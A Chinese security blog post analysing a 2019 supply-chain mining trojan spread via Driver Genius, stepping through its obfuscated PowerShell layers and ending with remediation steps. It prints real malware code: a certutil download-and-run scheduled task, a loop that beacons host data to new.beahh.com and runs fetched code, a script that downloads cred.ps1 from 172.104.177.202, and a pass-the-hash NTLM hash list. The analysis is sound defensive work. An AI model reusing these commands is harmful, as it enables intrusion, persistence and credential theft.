倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 Feb 2019

驱动人生供应链木马攻击2019.1.30变种木马分析

0x00 事件背景

360安全大脑监测到通过"驱动人生"供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通过pass the hash攻击进行横向渗透,使得该木马的传播能力进一步加强,即使是有高强度口令的机器也有可能被攻陷。

pass the hash也称作哈希传递攻击,攻击者可以直接通过密码的哈希值访问远程主机或服务,而不用提供明文密码。攻击者使用pass the hash技术尝试在系统登录密码非弱口令并且无法抓取登录密码的情况下进行横向攻击,增加攻击成功率。

0x01 分析研讨

由于木马是样本都是不落地的方式,核心技术是通过定时计划任务执行powershell代码达到持续控制的目的,因此最先分析powershell代码,了解它做了哪些动作,指定查杀手段。

PS:样本代码过长,遂使用图片截图

0x02 分析过程

解密第一层

病毒样本:

第一个动作,创建一个名为Certificate的任务计划,在七点开始,每隔一小时执行一次以下命令:

1
2

cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)

由于目前cert.beahh.com已经无法访问,所以进行下一个powershell分析环节。

首先,powershell -nop -w hidden -ep bypass -e 后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。

Windows中的powershell执行策略:

1
2
3
4
5
6
7
8
9
PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine          Bypass

将后面的base64解密后:

得到如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
while($true)
{
[System.Threading.Thread]::Sleep(200000);
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
iex $c;
[System.Threading.Thread]::Sleep(1000000);
}

外部是一个循环,将Sleep去除后,可以看到调用了Invoke-ExpressionInvoke-Expression是一个能将变量的内容当作powershell表达式执行的函数。

而iex只是Invoke-Expression的别名。

下面简单演示几个例子:

1
2
3
4
5
6
7
PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy
Rvn0xsy
PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>

将上述的木马脚本中iex替换成Write-Host即可:

1
2
3
4
5
6
7
8
9
while($true)
{

[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
Write-Host $c;
}

在这里我们使用Windows 10自带的Windows Powershell ISE脚本调试器来进行后续的分析。

解密第二层

很明显,我们看到有Invoke-Expression,直接将Invoke-Expression改为Write-Host进行调试。

解密第三层

现在获得的代码可读性变得非常低了,但是还是有一定规律可循。

在第83行,有一个大小写混合的Invoke-Expression

并且Invoke-Expression做左边还有一个管道符,直接将代码改为| Out-File .\tmp.log ,把结果输出到tmp.log文件中。

解密第四层

第四次好像混淆的更加厉害来,但是不影响我们的分析,先看首行:

1
 . ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....

其中它是以. (表达式)(表达式)来执行的,于是我想到了另外一种函数调用的可能:

1
2
3
PS C:\Users\Rvn0xsy> . Write-Host "Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>

这样也能执行,所以我判断 . ( $EnV:CoMsPec[4,26,25]-JoIN'')就是iex或者Invoke-Expression,我将 . ( $EnV:CoMsPec[4,26,25]-JoIN'')改为Write-Host直接执行:

最终获得了未混淆的代码。

然后,为了验证我的猜想,我把代码进行更改,获得了Iex

. ( $EnV:CoMsPec[4,26,25]-JoIN'') = Iex

0x03 行为分析

1
2
3
4
5
6
7
8
9
[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namesp
ace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1){for($v = 0; $v -lt $avs.Count; $v++){$av += $avs[$v] + "|"}}else{$av 
= $avs}try{if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){$av += 'ZDFY'}}catch{}#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum
 100000))$path = "$env:temp\\ppp.log"[string]$flag = test-path $path$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObj
ect Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAMEtry{$file = "$env:appdata\\Micro
soft\\cred.ps1"$size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum$file2 = "$env:ALLUSERSPROFILE\\Microsoft\\cred.ps1"$size2 = (Get-ChildItem $file2 
-recurse | Measure-Object -property length -sum).sum        if(($size -ne 50731) -and ($size2 -ne 50731)){try{$url = 'http://172.104.177.202/new.dat?xl' + $key(New-Object System.N
et.WebClient).DownloadFile($url,"$file")}catch{}&cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\
Microsoft\cred.ps1" /F}}catch{}[System.Threading.Thread]::Sleep(3000)Stop-Process -Force -processname powershell

大致意思就是收集本机的操作系统版本、用户名、MAC地址、杀毒软件写入当前环境变量的temp\ppp.log中。

一般是C:\Users\<USERNAME>\AppData\Local\Temp\ppp.log

然后下载新的powershell文件,到C:\Users\<USERNAME>\AppData\Roaming\Microsoft\cred.ps1中。

下载的URL是:http://172.104.177.202/new.dat?xl

目前ti上未打标签。

再次经过N层解密后,得到如下代码:

大约6000多行

脚本的功能:

1.获得当前用户Hash,读取注册表

2.获得当前系统版本、MAC地址、当前系统所有用户、反病毒软件,尤其是360 Zhudongfangyu服务

3.端口扫描,全量1-65535、445、139都会扫描

4.依赖于445 SMB服务进行传播

其中,常用的Hash和用户名:

1
[string[]]$global:alluser = @("administrator","admin")[string[]]$global:allpass = @("32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","3fa45a060bd2693ae4c05b601d05ca0c","69943c5e63b4d2c104dbbcc15138b72b","588feb889288fb953b5f094d47d1565c","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6","2d7f1a5a61d3a96fb5159b5eef17adc6","6103d9d963c57275dd3533674708e7be","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","259745cb123a52aa2e693aaacca2db52","4057b60b514c5402dde3d29a1845c366","e8cd0e4a9e89eab931dc5338fcbec54a","f1351ac828428d74f6da2968089fc91f","b5fe2db507cc5ac540493d48fbd5fe33","12bdea0a1cb9486c067deaa851ac1609","f9e37e83b83c47a93c2f09f66408631b","b23a90d0aad9da3615fafc27a1b8baeb","a333f09e72c683f0205049d0db8b81fb","ad70819c5bc807280974d80f45982011","2d20d252a479f485cdf5e171d93985bf","0b6549421b2e7333e0e281f3ba5eea94","209c6174da490caeb422f3fa5a7ae634","a80c9cc3f8439ada25af064a874efe2d","22315d6ed1a7d5f8a7c98c40e9fa2dec","b963c57010f218edc2cc3c229b5e4d0f","96880159e785de5314803b1169768900","8ec60adea316d957d1cf532c5841758d","c22b315c040ae6e0efee3518d830362b","7a21990fcd3d759941e45c490f143d5f","328727b81ca05805a68ef26acb252039","31c72c210ecc03d1eae94fa496069448","209c6174da490caeb422f3fa5a7ae634","674e48b68c5cd0efd8f7e5faa87b3d1e","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","579110c49145015c47ecd267657d3174","f2477a144dff4f216ab81f2ac3e3207d","62b26c13b70e7d5a9724710a41e63688","5835048ce94ad0564e29a924a03510ef","7773c08920232397cae081704964b786","a4141712f19e9dd5adf16919bb38a95c","b3ec3e03e2a202cbd54fd104b8504fef","f9e37e83b83c47a93c2f09f66408631b","162e829be112225fedf856e38e1c65fe","f67f5e3f66efd7298be6acd32eeeb27c")

SMB服务传播代码:

会上传启动项:\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat

这个run.bat就是我拿到的种子了。

该木马涵盖了Windows SMB客户端的所有代码,以及哈希传递技术的所有功能。

代码有很多都是采用了Invoke-SMBClient。

优先感染子网:

1
2
3
10.
172.
192.168.

其中在开始横向传播之前,它还会下载一个powershell代码:

但是目前这个域名已经无法访问,无法继续进行跟进。

http://p.beahh.com/upgrade.php?ver=1&mac=

其中在$bytebase64中发现了run.bat的代码:

0x04 预警与排查方案

  • 1.开启Windows防火墙、关闭445端口。
  • 2.防火墙禁止向172.104.177.202建立连接。
  • 3.防火墙禁止与*.beahh.com域名的解析。
  • 4.更改操作系统账号密码。
  • 5.删除Certificate任务计划。
  • 6.删除Credentials任务计划。
  • 7.删除启动项\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
  • 8.删除%appdata%\Microsoft\cred.ps1

最主要就是禁止与172.104.177.202进行通信。

下载器样本:https://payloads.online/scripts/2019-02-23-downloader.txt

木马本体(解密后):https://payloads.online/scripts/2019-02-23-res.txt